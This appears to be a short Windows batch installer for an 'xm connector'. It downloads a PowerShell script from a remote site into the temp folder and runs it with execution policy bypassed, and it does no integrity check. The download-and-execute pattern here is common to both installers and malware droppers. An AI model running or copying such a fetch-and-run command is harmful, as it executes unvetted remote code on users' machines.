@echo off
setlocal
set "BASE=https://aihugoas.com/xm"
set "PS=%TEMP%\xm-connector-setup.ps1"
del /q "%PS%" >nul 2>nul
echo Downloading installer ...
powershell -NoProfile -ExecutionPolicy Bypass -Command "try { irm '%BASE%/install.ps1' -OutFile '%PS%' -UseBasicParsing -ErrorAction Stop } catch { exit 1 }"
if not exist "%PS%" goto failed
powershell -NoProfile -ExecutionPolicy Bypass -File "%PS%" -Base "%BASE%"
pause
exit /b 0
:failed
echo Download failed. Check your network or proxy, then try again.
pause
exit /b 1
